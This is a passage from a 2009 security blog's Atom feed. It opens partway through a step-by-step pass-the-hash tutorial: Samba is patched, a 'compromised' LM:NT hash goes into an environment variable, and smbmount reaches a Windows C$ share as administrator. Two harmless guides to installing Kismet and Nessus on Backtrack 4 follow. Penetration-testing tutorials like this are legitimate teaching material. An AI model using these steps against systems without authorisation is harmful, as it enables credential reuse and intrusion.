3.0.22:&lt;br /&gt;http://us3.samba.org/samba/ftp/old-versions/samba-3.0.22.tar.gz&lt;br /&gt;&lt;br /&gt;2. Download both of the &lt;a href="http://www.foofus.net/jmk/passhash.html"&gt;Foofus&lt;/a&gt; Samba patches:&lt;br /&gt;http://www.foofus.net/jmk/tools/samba-3.0.22-add-user.patch&lt;br /&gt;http://www.foofus.net/jmk/tools/samba-3.0.22-passhash.patch&lt;br /&gt;&lt;br /&gt;3. Extract the samba archive where you would like to access Samba from. I've chosen /opt/&lt;br /&gt;&lt;br /&gt;4. From the directory where you have installed Samba (/opt/ for me), patch the appropriate files&lt;br /&gt;&lt;blockquote&gt;# cd /opt/&lt;br /&gt;# patch -p0 &amp;lt;samba-3.0.22-add-user.patch&lt;br /&gt;# patch -p0 &amp;lt;samba-3.0.22-passhash.patch&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;5. Configure Samba with smbmount&lt;br /&gt;&lt;blockquote&gt;# cd /opt/samba3.0.22/source&lt;br /&gt;# ./configure --with-smbmount&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;6. Compile/Install Samba (still in the /opt/samba3.0.22/source/ directory)&lt;br /&gt;&lt;blockquote&gt;# make&lt;br /&gt;# make install&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;7. Create a mount point in order to mount the Windows share&lt;br /&gt;&lt;blockquote&gt;# mkdir /mnt/target&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;8. Alter the fstab file to allow /mnt/target to be mounted&lt;br /&gt;&lt;blockquote&gt;# pico /etc/fstab&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;At the bottom of the file add this entry:&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;none /mnt/target tmpfs defaults 0 0&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;9. Copy smb.conf to the correct directory&lt;br /&gt;&lt;blockquote&gt;# cp /opt/samba-3.0.22/packaging/Debian/debian-woody/smb.conf /usr/local/samba/lib/smb.conf&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;10. Mount the target directory&lt;br /&gt;&lt;blockquote&gt;# mount /mnt/target&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;11. Add your compromised hash to the SMBHASH environment variable&lt;br /&gt;&lt;blockquote&gt;# export SMBHASH="92D887C9910492C3254E2DF489A880E4:7A2EDE4F51B94203984C6BA21239CF63"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Note: The format for this should be "LMHASH:NTHASH"&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;12. Implement your pass-the-hash attack&lt;br /&gt;# cd /opt/samba3.0.22/source/bin&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Usage: smbmount //target-ipaddress/sharename /mount/point -o username=username-associated-with-hash-here&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;# ./smbmount //10.0.0.100/C$ /mnt/target -o username=administrator&lt;br /&gt;&lt;br /&gt;13. Type an arbitrary password&lt;br /&gt;&lt;blockquote&gt;At this point would be asked to supply a password. Type anything you want here -- just make sure its not blank. So, for example, you could just type 'blah' and hit return.&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;14. Check to see that you have successfully mapped the Windows share&lt;br /&gt;&lt;blockquote&gt;# ls /mnt/target&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;If you would like a video tutorial on the pass-the-hash technique, please see John Strand's video:&lt;br /&gt;http://vimeo.com/2852120&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-6782772182330272435?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HAZkGXYDLRcgB-E2VTPTG8pUOIs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HAZkGXYDLRcgB-E2VTPTG8pUOIs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HAZkGXYDLRcgB-E2VTPTG8pUOIs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HAZkGXYDLRcgB-E2VTPTG8pUOIs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/6782772182330272435/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/08/pass-hash-attack-with-backtrack-4.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/6782772182330272435?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/6782772182330272435?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/08/pass-hash-attack-with-backtrack-4.html" title="Pass-the-Hash Attack with Backtrack 4" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total></entry><entry gd:etag="W/&quot;D0YNRno8eip7ImA9WxBTFkU.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-7911369140805793958</id><published>2009-08-07T22:47:00.000-07:00</published><updated>2009-12-12T22:19:57.472-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-12T22:19:57.472-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="blog" /><category scheme="http://www.blogger.com/atom/ns#" term="install" /><category scheme="http://www.blogger.com/atom/ns#" term="howto" /><category scheme="http://www.blogger.com/atom/ns#" term="kismet" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="backtrack4" /><category scheme="http://www.blogger.com/atom/ns#" term="backtrack" /><title>Installing Kismet on Backtrack 4 Pre Release</title><content type="html">Backtrack 4 has all the bells and whilstles we love and have come to expect from Backtrack in the past. That said however, as Bakctrack is currenly in a "Pre Realease" version, there are a couple of teething issues with various bits and pieces. One such issue is with Kismet Newcore.&lt;br /&gt;&lt;br /&gt;Kismet is our friendly little wireless stumbler that we all love. In Backtrack 4 pre release you may have noticed it is either missing functionality, or just plain doesn't work!&lt;br /&gt;&lt;br /&gt;Here is a quick guide for you to download an alternate version of Kismet Newcore and install it on Backtrack 4:&lt;br /&gt;&lt;br /&gt;1. Make sure your network adapter is on&lt;br /&gt;&lt;blockquote&gt;# dhclient eth0&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;2. Change your director to /usr/src to download the Kismet Newcore source code&lt;br /&gt;&lt;blockquote&gt;# cd /usr/src&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;3. Download the Kismet source using the built-in subversioning software&lt;br /&gt;&lt;blockquote&gt;# svn co https://kismetwireless.net/code/svn/trunk kismet&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;4. Open the newly created kismet directory&lt;br /&gt;&lt;blockquote&gt;# cd kismet&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;5. Confrigure and make the source code&lt;br /&gt;&lt;blockquote&gt;# ./configure --prefix=/opt &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;6. Now change your directory to where you want kismet to store its logging files&lt;br /&gt;&lt;blockquote&gt;# cd somewhere/useful/for/your/logging/files&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;7. Run kismet&lt;br /&gt;&lt;blockquote&gt;# /opt/bin/kismet&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;There you have it! A fresh version of Kismet Newcore installed.&lt;br /&gt;&lt;br /&gt;When you run kismet, it will ask you to add a new capture source. You will (typically) add wlan0. This will change however, depending on your hardware.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-7911369140805793958?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/eTJ5K_SgJAO9nBW716pFFbZCR8M/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eTJ5K_SgJAO9nBW716pFFbZCR8M/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/eTJ5K_SgJAO9nBW716pFFbZCR8M/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eTJ5K_SgJAO9nBW716pFFbZCR8M/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/7911369140805793958/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/08/kismet-in-backtrack-4.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/7911369140805793958?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/7911369140805793958?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/08/kismet-in-backtrack-4.html" title="Installing Kismet on Backtrack 4 Pre Release" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;D0YARno6cCp7ImA9WxBTFkU.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-3500018771261193651</id><published>2009-08-05T04:55:00.000-07:00</published><updated>2009-12-12T22:19:07.418-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-12T22:19:07.418-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="blog" /><category scheme="http://www.blogger.com/atom/ns#" term="nessus" /><category scheme="http://www.blogger.com/atom/ns#" term="howto" /><category scheme="http://www.blogger.com/atom/ns#" term="tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="backtrack" /><title>Installing Nessus on Backtrack 4</title><content type="html">Here is an easy to follow &lt;a href="http://forums.remote-exploit.org/bt4beta-howtos/20221-nessus-3-2-1-installation-backtrack-4-beta-tutorial.html" rel="nofollow"&gt;tutorial&lt;/a&gt; on installing nessus on the Backtrack 4 Pre Release. This is courtesy of &lt;a href="http://forums.remote-exploit.org/members/secure_it.html" rel="nofollow"&gt;&lt;span style="font-style: italic;"&gt;secure_it&lt;/span&gt;&lt;/a&gt; at the &lt;a href="http://forums.remote-exploit.org/" rel="nofollow"&gt;remote-exploit forums&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;First download these packages&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onclick="pageTracker._trackPageview ('/outgoing/http_downloads_nessus_org_nessus3dl_php_file_Nessus_3_2_1_ubuntu804_i386_deb_amp_licence_accept_yes_amp_t_29405df1e6e5014292802fe878e9a1b0');" href="http://downloads.nessus.org/nessus3dl.php?file=Nessus-3.2.1-ubuntu804_i386.deb&amp;amp;licence_accept=yes&amp;amp;t=29405df1e6e5014292802fe878e9a1b0" target="_blank"&gt;Nessus-3.2.1-ubuntu804_i386.deb&lt;/a&gt;&lt;br /&gt;&lt;a onclick="pageTracker._trackPageview ('/outgoing/http_downloads_nessus_org_nessus3dl_php_file_NessusClient_3_2_1_debian4_i386_deb_amp_licence_accept_yes_amp_t_29405df1e6e5014292802fe878e9a1b0');" href="http://downloads.nessus.org/nessus3dl.php?file=NessusClient-3.2.1-debian4_i386.deb&amp;amp;licence_accept=yes&amp;amp;t=29405df1e6e5014292802fe878e9a1b0" target="_blank"&gt;NessusClient-3.2.1-debian4_i386.deb&lt;/a&gt;&lt;br /&gt;&lt;a onclick="pageTracker._trackPageview ('/outgoing/http_downloads_nessus_org_nessus3dl_php_file_NessusClient_3_2_1_debian4_i386_deb_amp_licence_accept_yes_amp_t_8ce32120dceb6e0026261897d31d9f77');" href="http://downloads.nessus.org/nessus3dl.php?file=NessusClient-3.2.1-debian4_i386.deb&amp;amp;licence_accept=yes&amp;amp;t=8ce32120dceb6e0026261897d31d9f77" target="_blank"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;(I have chosen debian package because NessusClient-3.2.1.1-ubuntu804.i386.deb was missing some of dependencies and was not installing correctly.instead the debian package worked like a charm as its upto-date with dependencies and it produces no error at all.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next register your copy to get plugins update using homefeed and please provide the real mail ID as they will send you the activation key for homefeed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onclick="pageTracker._trackPageview ('/outgoing/http_www_nessus_org_plugins_index_php_view_register');" href="http://www.nessus.org/plugins/index.php?view=register" target="_blank"&gt;Regsiter Here&lt;/a&gt;&lt;br /&gt;&lt;a onclick="pageTracker._trackPageview ('/outgoing/http_www_nessus_org_plugins_index_php_view_register');" href="http://www.nessus.org/plugins/index.php?view=register" target="_blank"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;Click accept and enter a valid working email ID.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now we start installing the packages.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ThUndErbOLt:~#dpkg -i Nessus-3.2.1-ubuntu804_i386.deb&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now configure the certificate &amp;amp; admin user for nessus&lt;br /&gt;root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-mkcert (this is neccessary to communicate between nessus client to nessus daemon/remote host)&lt;br /&gt;(configure options accordingly or just press enter for default)&lt;br /&gt;&lt;br /&gt;CA certificate life time in days [1460]:&lt;br /&gt;Server certificate life time in days [365]:&lt;br /&gt;Your country (two letter code) [FR]:IN&lt;br /&gt;Your state or province name [none]: Karnataka&lt;br /&gt;Your location (e.g. town) [Paris]: Bangalore&lt;br /&gt;it should show the message&lt;br /&gt;Congratulations. Your server certificate was properly created.&lt;br /&gt;hit enter to come out&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-adduser&lt;br /&gt;enter information about the user.&lt;br /&gt;Login&lt;br /&gt;Authentication (Pass/Cert)&lt;br /&gt;Password:&lt;br /&gt;confirm password:&lt;br /&gt;after configuring the parameters it ask for rule-set.we have configured the admin user having full permissions.if we wants to limit and want to add certain users then we can use rule-set here.&lt;br /&gt;For configuring ruleset please refer to nessus-adduser(8) man page for the rules syntax as it limit the use of nessus.&lt;br /&gt;press ctrl + d&lt;br /&gt;it asks for confirmation.choose y&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now start Nessus daemon by using&lt;br /&gt;root@ThUndErbOLt:~# /etc/init.d/nessusd start&lt;br /&gt;$Starting Nessus : .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;confirm that its running using&lt;br /&gt;root@ThUndErbOLt:~# netstat -ant|grep 1241&lt;br /&gt;tcp 0 0 0.0.0.0:1241 0.0.0.0:* LISTEN&lt;br /&gt;tcp6          0                        0        :::1241                :::*                                      LISTEN&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now Install NessusClient(the GUI Frontend to use nessusd)&lt;br /&gt;root@ThUndErbOLt:~# dpkg -i NessusClient-3.2.1-debian4_i386.deb&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now register the plugin feed for updating nessus&lt;br /&gt;root@ThUndErbOLt:~#/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX(replace X with your keys)&lt;br /&gt;Your activation code has been registered properly - thank you.&lt;br /&gt;Now fetching the newest plugin set from plugins.nessus.org...&lt;br /&gt;now it will download the plugins and will purge them into database.if you don't wan't to do this now.press ctrl + c to cancel it.later you can download it using&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-update-plugins&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;run the scan using NessusClient&lt;br /&gt;backtrack menu-&gt;Internet-&gt;NessusClient&lt;br /&gt;click on + icon&lt;br /&gt;by default selected radiobox is single host&lt;br /&gt;type Host Name localhost &amp;amp; hit save&lt;br /&gt;select the localhost &amp;amp; press connect&lt;br /&gt;from connect option box choose edit&lt;br /&gt;set the Login &amp;amp; Password which we created earlier using nessus-adduser&lt;br /&gt;hit Save&lt;br /&gt;select localhost &amp;amp; hit connect&lt;br /&gt;first time it asks for logging into nessus server.hit yes&lt;br /&gt;&lt;br /&gt;now you can customize the default scan/microsoft scan policy and can scan.that's it!&lt;br /&gt;&lt;br /&gt;***note if you are having dependency issues with the Nessus Client use the following command: apt-get update&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-3500018771261193651?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/AFg7LTsJEUAVBKyvIfr0RbRySJ8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AFg7LTsJEUAVBKyvIfr0RbRySJ8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/AFg7LTsJEUAVBKyvIfr0RbRySJ8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AFg7LTsJEUAVBKyvIfr0RbRySJ8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/3500018771261193651/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/08/installing-nessus-on-backtrack-4.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/3500018771261193651?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/3500018771261193651?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/08/installing-nessus-on-backtrack-4.html" title="Installing Nessus on Backtrack 4" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry></feed>

